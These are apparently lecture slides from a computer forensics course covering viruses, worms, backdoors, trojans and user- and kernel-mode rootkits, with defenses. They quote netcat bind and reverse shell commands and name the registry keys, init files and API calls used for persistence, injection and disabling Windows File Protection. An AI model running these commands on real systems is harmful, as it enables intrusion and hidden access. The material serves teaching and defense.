viruses, worms, mobile code coen 252: computer forensics

Viruses, Worms, Mobile Code

COEN 252: Computer Forensics

Viruses: The Principle

Virus attaches itself to a host that can execute instructions contained in the virus.

When the host is invoked, the virus copies itself to other locations on the system.

Executables Companion Infection Technique

OS will call the virus when the user requests the companion file.

Windows: Virus is Notepad.com to hide as Notepad.exe. Set the hidden attribute to prevent the virus from

being seen. Launch the true notebook.exe file from the virus. If the user selects Start Run and types in

notebook, then windows starts the virus (notebook.com instead of notebook.exe)

Executables

Companion Infection Technique Windows: Virus renames Notepad.exe to

Notepad.ex_ and hides it. Virus takes the place of Notepad.exe. Works with shortcuts. Used in the Trilisa virus / worm (2002)

Executables

Companion Infection Technique Virus uses alternate data stream

feature of NTFS: Streams look like one file in explorer and

directory listings. System activates the default stream, the

virus. Virus calls alternate stream. Win2KStream Virus (2000)

Executables Overwriting Techniques

Virus replaces part of an executable. Usually the executable looses functionality. Users will now that there is something wrong.

Prepending Techniques Virus placed in front of executable. After virus executes, host program is called. Very easy for .com files. Easy to clean files.

Bliss virus had a disinfect mode built into it. Used by the NIMDA worm.

Executables Appending Infection Technique

Insert itself at the end of host file. Add a jump at the beginning of host file.

Stealth Techniques for Prepending and Appending: Compress host. When virus calls hosts, host is uncompressed

into RAM. Fill up total package (virus, compressed host)

to same size as original host. Change filler so that checksum is not

changed.

Boot Sector Modification Target Master Boot Record or Partition Boot Sector. Michelangelo Virus (1991).

Replaced MBR boot strap to elsewhere on disk. First the virus loads itself into memory, then it passes control

to the original MBR boot sector. Places itself into all boot sector of all floppies. Memory-resident copy of the virus is attached to low-level

BIOS drivers. Gets called when these are executed. Can no longer spread under WinNT, Win2K, WinXP, only

wreak havoc, e.g. by overwriting the sectors right after the partition boot sector.

Infection of Document Files Many software use Macros:

MS Office, WordPerfect Office, StarOffice, OpenOffice, AutoCAD, Excel, …

WinOffice runs code in subroutines Document_Open() Document_Close() AutoExec() ….

Virus can copy itself to the victim’s Normal.dot file.

Normal.dot file is processed whenever WinOffice starts.

Other Targets Source Code Scripts

Visual Basic Scripts (.vbs) used by OS: Startup.vbs Exec.vbs

Shell scripts, Perl scripts Java Class Files

Platform independent viruses

Propagation Techniques

Removable Storage Boot sector viruses, executable

viruses Yamaha’s CD-R drive firmware update

contained the Chernobyl virus.

Email attachments Shared directories

Anti-Virus Defense

Antivirus software on gateways: User workstations File servers Mail servers Application servers Border firewalls Handhelds.

Anti-Virus Defense Virus signatures

Looks for small patterns indicative of a known virus.

Polymorphic viruses Heuristics

Looks for programs with bad behavior: Attempts to access the boot sector Attempts to locate all files in a directory Attempts to write to an exe file Attempts to delete hard drive contents …

Anti-Virus Defense Integrity Verification

Generate database of hashes of important files.

Recalculate these hashes and compare them to known values.

Configuration Hardening Least privilege Minimize active components. Set warnings (e.g. against macros) User education

Anti-Anti-Virus Defense Stealthing

Hide virus files. Intercept scanning of infected files. Slow rate of infection. …

Polymorphism and Metamorphism Change order of instructions in virus code Use equivalent code (increment = subtracting

with -1) Encryption of most of the virus body. Slightly change functionality of virus as it

spreads.

Anti-Anti-Virus Defense

Antivirus software deactivation Kill processes known to be antivirus

processes. Disable internet access to antivirus

vendor’s pages. Change security settings (e.g. allow

Word macros to run)

Worms

Worms: Propagates across a network Typically, does not require user

action for propagation.Virus: Infects files. Typically requires user interaction.

Worms

Worm Components Warhead Propagation Engine Target Selection Algorithm Scanning Engine Payload

Worm Warhead

A piece of code that exploits a vulnerability on the target system Exploits such as Buffer Overflow

Exploits File Sharing Attacks E-mail Common Misconfigurations

Worm Propagation Engine After gaining access, the worm must

transfer itself to the target machine. Some worms are completely contained

in the warhead. File Transfer Mechanisms

FTP TFTP HTTP SMB (MS Server Message Block)

Windows file sharing Unix servers running SAMBA

Worm Target Selection Algorithm Once the worm has gained control

of a target, it starts looking for new targets. E-mail addresses Host lists Trusted Systems Network Neighborhood DNS queries Randomly selected ip address.

Worm Scanning Engine

Once targets are identified, the worm scans for the original vulnerability.

Worm Payload Some specific action done on

behalf of the attacker. Opening up a backdoor. Planting a distributed denial of

service attack. Performing complex calculations:

password cracking math research (actually happened)

Worm Spread Worm spread is limited

Diversity of machines Tiny worm

targeted only machines running security software from a medium company

was successful in infecting most machines. Worms can contain support for multiple

entry methods. Too many victims crash Fast worms can cause network

congestion

Worm Trends Multiplatform worms Multiexploit worms Zero-day exploit worms

No chance to patch Fast-spreading worms: Warhol / Flash

pre-scan targets Polymorphic worms

Change appearance Metamorphic worms

Change functionality

Worm Defenses Ethical (?) Worms Antivirus tools Fast patching services Firewalling

Block arbitrarily outbound connections Prevents spreading

Establishment of Incident Response Capabilities

Malicious Mobile Code

Backdoors

Backdoor:A program that allows attackers to

bypass normal security controls on a system, gaining access to which they are not entitled.

Backdoor Types

Local Escalation of Privilege Remote execution of individual

commands. Remote command-line access. Remote control of the GUI.

Backdoor Installation

Attacker has compromised the system

Virus, worm, or malicious mobile code installs the backdoor.

Social engineering: Tricking the victim into installing the backdoor.

...

Starting backdoors automatically

Attacker wants to maintain access to the system.

Backdoor needs to restart whenever the system restarts.

Methods are OS dependent.

Starting backdoors automatically on Windows

Altering Startup Files and Folders Registry Task Scheduler

Starting backdoors automatically on Windows Startup folders and files

Autostart folders for individual users and all users.


Use: win.ini system.ini

Modify “shell=explorer.exe” on Win9x wininit winstart.bat (Win9x) Autoexec.bat (Win9x) Config.sys (Win9x)

Starting backdoors automatically on Windows Registry keys start programs on

login or reboot: HKLM\SOFTWARE\Microsoft\Windows\

CurrentVersion\ RunServicesOnce RunServices RunOnce Run RunOnceEx


HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\

RunServicesOnce RunServices RunOnce Run RunOnceEx

Starting backdoors automatically on Windows Registry keys start programs on login or

reboot: HKLM\SOFTWARE\Microsoft\Windows NT\

CurrentVersion\Winlogon\Userinit HKLM\SOFTWARE\Microsoft\Windows\

CurrentVersion\ShellServiceObjectDelayLoad HKLM\SOFTWARE\Policies\Microsoft\

Windows\System\ Scripts Explorer\Run

Starting backdoors automatically on Windows Registry keys start programs on login or

reboot: HKCU\SOFTWARE\Microsoft\Windows NT\

CurrentVersion\Winlogon\Userinit HKCU\SOFTWARE\Microsoft\Windows\

CurrentVersion\ShellServiceObjectDelayLoad HKCU\SOFTWARE\Policies\Microsoft\

Windows\System\ Scripts Explorer\Run


Registry keys start programs on login or reboot: HKCR\Exefiles\Shell\Open\Command

Indicates programs that will be run every time another .exe is run.

Starting backdoors automatically on Windows Use the task scheduler

Check scheduled tasks with autoruns from Sysinternals

Starting backdoors automatically on Unix

Modifying the init daemon Modifying system and service

initialization scripts Modify the internet daemon script Change user startup scripts Schedule jobs with Cron


Modify the init daemon init daemon is the first process to

start. uses /etc/inittab to find other

processes that need to be started attacker merely adds line to inittab.

Starting backdoors automatically on Unix Modify system and service initialization

scripts About 20+ system scripts

Located in /etc/rc.d or /etc/init.d Or merely plant a backdoor in an initialization

script for another service. E.g. ppp daemon

for PPP modem dial-up connections

inetd network daemon change /etc/inetd.conf


Adjust user startup scripts .login .cshrc /etc/profile .logout .xinitrc .xsession


Schedule jobs with Cron

Backdoor Defenses

System integrity tools like tripwire

Backdoor with netcat netcat compiles into executable

nc. On the victim:

nc –l –p 2000 –e cmd.exe (Windows) nc –l –p 2000 –e /bin/sh (Unix)

Sets up a listener on port 2000. On the attacker:

nc [victim address] 2222 gives command shell.

Backdoor with netcat

Only works if attacker can establish a TCP connection to the port on the victim.

Firewalls can block this.

Backdoor with netcat Use an open door in the firewall: Shoveling a shell

On the attacker’s machine: nc –l –p 80

netcat listener on port 80 On the victim’s machine:

nc [attacker’s address] 80 –e cmd.exe initializes outgoing connection to attacker then executes a shell

Backdoor with netcat

Alternatives to netcat cryptcat Tini Q Bindshell

Md5bd UDP_Shell TCPshell Crontab-backdoor

Virtual Network Computing Remote GUI tools

Virtual Network Computing (VNC) Windows Terminal Services Remote Desktop Service Citrix MetaFrame PCAnywhere Dameware Back Orifice 2000 SubSeven www.megasecurity.org

Virtual Network Computing VNC server allow to shovel a shell. Can be remotely installed:

Attacker has remote shell access on victim Attacker installs copy of VNC on his machine Attacker exports the registry keys

associated with VNC to the victim Attacker moves four files to victim Attacker adds registry changes to victim

This will display a VNC installation successful message on the victim

Attacker starts VNC

Defenses against Backdoor Shell Listeners

Use firewalls Filter traffic in both directions. Firewall individual machines.

Look for open ports. On the network (Nmap) Or with a trusted tool (on CD) locally.

Close unneeded ports.

Backdoors without ports

ICMP backdoor ICMP messages don’t use ports. Firewalls need to let some ICMP

messages pass. ICMP messages can carry a few bytes

of payload.

Backdoors without ports

ICMP backdoors: Loki 007shell ICMP Tunnel

available at www.packetstormsecurity.org for free.

Non-Promiscuous Sniffing Backdoors

Sniffer in non-promiscuous mode sniffs for commands in packets destined for the local machine.

Non-Promiscuous Sniffing Backdoors Cd00r

sniffs for TCP packets to ports X, Y, Z the ports are not open

syn packets to X, Y, Z: sniffer activates backdoor.

backdoor opens TCP port and shovels shell. This can be detected. Is however unnecessary with a sniffer “Future releases” will discontinue this practice. Just craft special packets instead.

when backdoor closes, port is closed.

Promiscuous Sniffing Backdoors

Promiscuous sniffer can gather packets send to any machine on the same LAN segment. IP address of suspicious traffic does

not have to originate on the victim machine.


Attacker has compromised the DSN server and installed a promiscuous sniffing backdoor there.

Promiscuous Sniffing Backdoor Attacker sends a

packet to the webserver at port 80.

Messages passes through the firewall.

Promiscuous Sniffing Backdoor Sniffer on the DSN

server sniffs the package.

Webserver does not know what to do with a malformed request.

Firewall:

Message to webserver.

Let pass.

Promiscuous Sniffing Backdoor Backdoor on DSN

reacts to packet. Sends back

message to attacker.

Spoofed return address from webserver.

Firewall lets it pass.

Firewall:

Message from webserver.

Let pass.

Defenses against backdoors without ports

Backdoors still create running processes.

Backdoors still create network packets.

Backdoors might put MAC cards into promiscuous mode.

Trojan Horses

a program with added functionality.

Trojan Horses Hiding names

change name (of netcat, vnc, ...) play with windows suffixes

just_text.txt .exe This is ONE word with a bunch of spaces in it

Use the .shs suffix (suppressed by system) just_text.txt .shs Shell scrap object

Windows uses the suffix to decide what to do with a file.

Trojan Horses Hiding names

take someone else’s name. overeager system administrators might even

remove the legitimate program thinking it might be your fake program.

windows does not let you kill program with certain names.

regardless of content csrss.exe, services.exe, smss.exe, System, System

Idle Process, winlogon.exe There might be more than one legitimate process

named winlogon or csrcc.exe

Trojan Horses

Hiding names use common typos of important files

for a Trojan ifconfig instead of ipconfig.

Trojan Horses Defenses

Pskill will kill any horse / process. Fport and lsof will find open

ports associated with the horse. Tripwire could find substitutes

for executables. Filter email attachments that are

executable.

Wrappers Wrap malware in a good program.

A.k.a. binders, packers, exe binders, exe joiners.

AFX File Lace, Elite Wrap, Exe2vbs, PE Bundle, Perl2Exe, Saran Wrap, TOPV4, Trojan Man

Combat with Anti-virus software File System Integrity checkers (Tripwire) Posted MD5, SHA1 values of downloads

Definition of Rootkit

RootkitsRootkits are Trojan horse backdoor tools that modify existing operating system software so that an attacker can keep access to and hide on a machine.

Unix User Mode Rootkits

Rootkits are bundled packages consisting of: Binary replacements that provide

backdoor access. Binary replacements that hide the

attacker. Other tools for hiding Additional Odds and Ends Installation Script

Unix User Mode Rootkits: LRK

Around since the early nineties. version 6 is appearing.

Unix User Mode Rootkits: LRK Backdoor Access:

Trojan login, rsh, ssh Altered login, rshd, sshd Same functionality, but with a special

backdoor password for “rewt” that gives root access.

Remote shell on a chosen port altered inetd, tcpd

Local privilege escalation backdoors: chfn, chsn, passwd, su


Binary Replacements that hide the attacker: Processes

ps top pidof killall crontab


Network use netstat ifconfig

Files ls find du (omits space taken by hidden

files Events

syslogd

Unix User Mode Rootkits: LRK Other tools for hiding:

fix resets the MAC times of trojaned system files. pads files so that the CRC check matches the one

of the original files. zap2, wtmp

blanks out / edits information in important files: utmp, wtmp

stores data on users currently / ever logged in. btmp

stores data on bad logins. lastlog

stores data on last login for users


Goodies bindshell

creates a backdoor listener attacker connects with netcat to the

listener sniffer

linsniffer grabs IDs and passwords for ftp, telnet


LRK Installation Script makefile allows to choose

configuration No need to understand any of the

workings of LRK installs in seconds / few minutes

Unix User Mode Rootkits: URK

Universal Root Kit Functions on a variety of Unix

variants Has slightly less functionality than

LRK

EFS2 Manipulations RunEFS, Defiler’s toolkit foil computer

forensics investigations on a UNIX machine.

RunEFS adds pointers of good blocks to the bad

blocks inodes. stores data in them. Cornoer’s Toolkit and derivatives don’t look

at these blocks.

EFS2 Manipulations Defiler’s toolkit destroys data that a

forensics tool can harvest. shred and other overwrite tools destroy data

in a block. Defiler’s toolkit destorys inode and directory

information as well. Necrofile scrubs inodes clean Klismafile overwrites directory entries associated

with deleted files. This leaves blank spots in a directory. This shows that someone used Klismafile.

Windows User Mode Rootkits Windows File Protection (WFP)

Scans for changes to critical executables and libraries.

Compares digital signatures of 1700 files to a protected file

If WFP detects a change it searches for an authorized file in different locations.

WFP can be altered Windows Service Pack Installations (Update.exe) Hotfix distributions (Hotfix.exe) Windows Update Feature Windows Device Installer

Windows User Mode Rootkits

Implementing user mode rootkits in windows: Use existing interfaces Overwrite file Use DLL injection and API hooking to

manipulate running processes in memory.

Windows User Mode Rootkits Use existing interfaces:

FakeGINA sits between winlogon and

msgina


Windows uses Graphical Identification aNd Authentication (GINA) Windows allows system administrators to

install third party GINA tools. Windows ships with default GINA (msgina.dll)

Attacker sets registry key HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\

Winlogon

to install Fakegina Fakegina gathers passwords, passes logon credentials

to the real msgina.dll.

Windows User Mode Rootkits Changing WFP Settings

WFP configuration is stored in the registry

Attacker can change system file and then

1. delete the version in DLL cache. WFP cannot find a correct version. Sends message to request system CD. Administrator might ignore message

Windows User Mode Rootkits Attacker can

2. Alter the location of the Dllcache by modifying the registry.

WFP checks signatures and finds many mistakes.

Log is full of warnings.

3. Turn off WFP by changing a registry key

WFP still active until reboot. Warning message after reboot.


Attacker can 4) set the SFCDisable key to value

0xFFFFFF9D. Completely disables WFP on Win2000 No dialog warning Only a message that WFP is inactive.

Code Red II used method 4.

Windows User Mode Rootkits DLL Injection

forces an exe process to accept a DLL it never requested.

Allocate space in victim process for the DLL code to occupy. (VirtualAllocEx)

Allocate space in victim process for the DLL parameters. (VirtualAllocEx)

Write name and code into the memory space of the victim process. (WriteProcessMemory)

Create a thread in the victim process (CreateRemoteThread)

Free up resources in the victim process after execution is complete.

Windows User Mode Rootkits DLL Injection allows to hijack any

process Attacker must have Debug Programs right

on system. Attacker uses DLL injection by

modifying running dll that displays information on the screen.

Modified dll still calls original dll. But does not display all the data.

Windows User Mode Rootkits AFX Windows RootKit

Attacker uses afx windows rootkit configuration console to generate code on his machine.

Then executes it on the victim’s machine. AFX WinRK

installs itself in the System32 directory. Creates iexplore.dll and explorer.dll injects explorer.dll and iexplore.dll into

explorer.exe That process displays the GUI to users.

hides network connections, files, ...

Rootkit Defenses

Preventing Root Kits Harden systems and apply patches.

Detect Root Kits File Integrity Checking (Signatures) Root Kit Identification

Look for specific changes made in most root kits

chkrootkit for Unix

Kernel Mode Rootkits

Kernel Functions Process and Thread Interprocess Communication Memory File System Hardware Interrupts

Kernel Mode Rootkits Kernel

Relies on hardware level protection

Ring 0 vs. Ring 3 for Intel CPU

Prevents user processes from accessing critical kernel data structures.

Kernel Mode Rootkit Processes running in kernel mode

belong to the kernel. Administrator, root only invoke user

mode processes. These processes access the kernel.Change in kernel changes behavior of all processes.

Kernel Mode Rootkit

Kernel Mode Rootkit Capabilities File & Directory Hiding Process Hiding Network Port Hiding Promiscuous Mode Hiding Execution Redirection Device Interception and Control

Kernel Mode Rootkit

Advantages over User Level Rootkit: Changes all programs that try to

discover something from the kernel. Statically linked binary forensic tools

no longer work

Linux Kernel

Get a laptop and try it out!

Linux Kernel

Linux allows us to look at many internal kernel structures: /proc

Slash proc Virtual directory, lives only in memory. Lots of commands just grab info from

/proc. We can write to certain areas of /proc

such as /proc/net

Linux Kernel /proc

/cpuinfo /devices /ksmg

Log messages from kernel /ksyms

List of all variables and functions that are exported via loadable kernel modules on the machine

Linux Kernel

/proc /net /stat

Statistics such as data about CPU, virtual memory, hard drive usage

/sys Kernel variables.

/version

Linux Kernel /dev

Contains pointers to various devices. /dev/kmem

Image of the running kernel’s memory /dev/mem

Image of all the memory

Gibberish without special tools

Linux Kernel User mode processes use System Calls

to access kernel. Embedded in the systems libraries:

SYS_open SYS_read SYS_write SYS_execve SYS_setuid SYS_get_kernel_syms SYS_query_module

Linux Kernel

Located in /usr/include/sys/syscall.h /usr/include/bits/syscall.h /usr/include/asm/unistd.h Or similar locations.

Linux Kernel System Call Table:

Array maintained by the kernel that maps individual system call names and numbers.

Located also in memory. On harddrive:

“less /boot/System.map”

Use strace to find the system calls made by a command: “strace ls”

Linux Kernel

Linux Kernel Manipulations

Loadable Kernel Modules Legitimate Linux / Solaris kernel

feature Add support for new hardware Can replace existing kernel features

without system reboot.


Attacker uses insmod to Alter System Call

Table. Load Kernel

module.

Linux Kernel Manipulations Evil kernel module alters SYS_execve Looks at

calling process. If process is for a program that attacker wants to

redirect Evil kernel module actually calls another program.

Attacker can wrap the true SYS_execve code. Makes it easy to generate the altered version of

SYS_execve. This alteration defeats file integrity checking tools.

SYS_execve code is still there, only Never called. Called if not interfering with attacker (if wrapped).

True login function, true sshd, true … not called, but replacements are.


Loadable kernel modules do not survive a system reboot.

Attacker alters programs in the boot process. init Once inserted, loadable kernel

module hides changes to the altered boot process


Mighty Adore Loadable kernel module Adore interface: Ava.

Kernel Intrusion System (KIS) Comes with slick GUI


Alternative to Loadable Kernel Module

Use /dev/kmem Attackers can use tools that read and

write to kernel memory image. Attacker can insert alternative code for

system calls. Attacker can change the System Call

Table.


Patching Kernel Image File Simplest way:

Attacker “patches” vmlinuz file. Contains the kernel image.


User Mode Linux (UML) UML at user-mode-

linux.sourceforge.net Runs entire Linux kernel inside a

normal user-mode process. Like VMWare, creates virtual

environment. Sysads, users are running in this

virtual environment.


Kernel Mode Linux Project Allows certain user processes to run

in kernel mode. Attacker patches kernel with KML. Attacker now has processes that run

in kernel mode. Writes code to alter system call table and

system call code.

Defending the Linux Kernel Prevention

Deny superuser access to attackers. Patch quickly. Change kernel so that it no longer

allows loadable kernel modules. Redhat 8.0, Redhat 9.0, Linux 2.5.41

Install Systrace to track and limit systems calls.

Use Linux Security Module in your kernel.

Defending the Linux Kernel

Kernel Mode RootKit Detection Look for suspicious network activity File Integrity Checkers (to catch the

not quite good enough hacker). chkrootkit

Looks for system anomalies. Each directory has a link count. Link count

should be equal to the number of files + 2.


Kernel Mode RootKit Detection Kernel Security Therapy Anti-Trolls

(Linux 2.4) Looks for changes to the system call table. Scans /dev/kmem Looks for memory locations of system calls

and compares with System.map Creates fingerprints of system calls and

various critical programs.


Kernel Mode RootKit Detection Syscall Sentry

Loadable kernel module. Checks for modules that alter the system

table. Alerts system administrator in this case.

Windows Kernel

User process calls DLL

DLL can

return to user process.

Go to csrss.exe (client server runtime)

Require kernel function

Windows Kernel User process makes call to ReadFile Win32 Subsytem DLL makes call to NtReadFile

in Ntdll.dll Ntdll.dll translates well-documented API into rather

obscure ones (that can be easily changed.) Ntdll.dll makes a call to the Executive.

Executive sits inside ntoskrnl.exe Determines which piece of kernel code is needed to

handle request. Kernel code interacts with hardware (disk). Uses Hardware Abstraction Layer (HAL.dll).

Windows Kernel

Ntdll.dll call into kernel: System service dispatching.

Essentially a system call. Uses the System Service Dispatch

Table. Table indicates where the appropriate

system service code is located within the kernel.

Windows Kernel: Tools

Ctrl + Alt + Del Task Manager Process Table

Windows Kernel: Tools Start Control Panel Administrative Tools Performance

Click “+” and check process


DependencyWalker (www.dependencywalker.com)


Process Explorerhttp://www.sysinternals.com/ntw2k/

freeware/procexp.shtml

Manipulating Windows Kernel

Same basic strategies as in Linux: Evil Device Driver. Alter running kernel in memory. Overwrite kernel image on file. Deploy kernel on a virtual system. Run user-mode code at kernel level.

Manipulating Windows Kernel Evil Device Driver

Alters system service call handling by loading a device driver.

Replaces or alters kernel functions. Needs administrator privileges. Needs to get evil code to run:

Overwrite existing kernel functionality Alter system service dispatch table to point

to new code. Alter System Service Dispatcher.

Manipulating Windows Kernel Altering a Running Kernel in Memory:

Windows uses the Global Descriptor Table (GDT) to manage memory.

GDT stores division into various segments. Store segment accessibility by ring 0/3.

Unfortunately, attacker can add a memory segment to the GDT.

Greg Hoglund Phrak 55 Explains how to bypass Security Monitor. Add memory segment from location 0x00000000

to 0xffffffff. This gives memory access to all user processes!


Altering a Running Kernel in Memory: Manipulate \Device\PhysicalMemory

object. Use PhysMem from sysinternals.com.

Attacker can now change system functionality.

Manipulating Windows Kernel Patching the Kernel on the Hard

Drive System boot checks integrity of

Ntoskrnl.exe. Thus, not possible to only change the

kernel file. Have to change both the integrity checker

and the kernel. Integrity checker sits in NTLDR.

Change one instruction to jump over the integrity check.


Patching the Kernel on the Hard Drive Patch first NTLDR to disable integrity

check. Then patch Ntoskrnl.exe to disable

security access check. Now introduce rootkit.


Create a fake system using a virtual machine. Variety of Virtual Machines

VMWare Virtual PC Plex86 Bochs

But need to hide start-up message. Unlike Linux, that is difficult.

Protecting the Windows Kernel

Prevent access to the machine. Detect a rootkit:

Antivirus tools recognize most rootkit files before installation.

Some rootkits can be spotted afterwards.

Because developers were careless. File Integrity Checkers

Protecting the Windows Kernel

Removing Rootkits Analyze system without invoking the

kernel. Use a FIRE or Knoppix bootable CD-

ROM and look at the hard drive. Registry / File System.

Next Generation Malware

BIOS Malware active before booting from a

device. Bioscentral website for tools to look at

BIOS. Microkernel

viruses, worms, mobile code coen 252: computer forensics

Documents

chernobyl virus

principle virus

win2kstream virus

bliss virus

michelangelo virus

prepending techniques

trilisa virus worm

virus calls hosts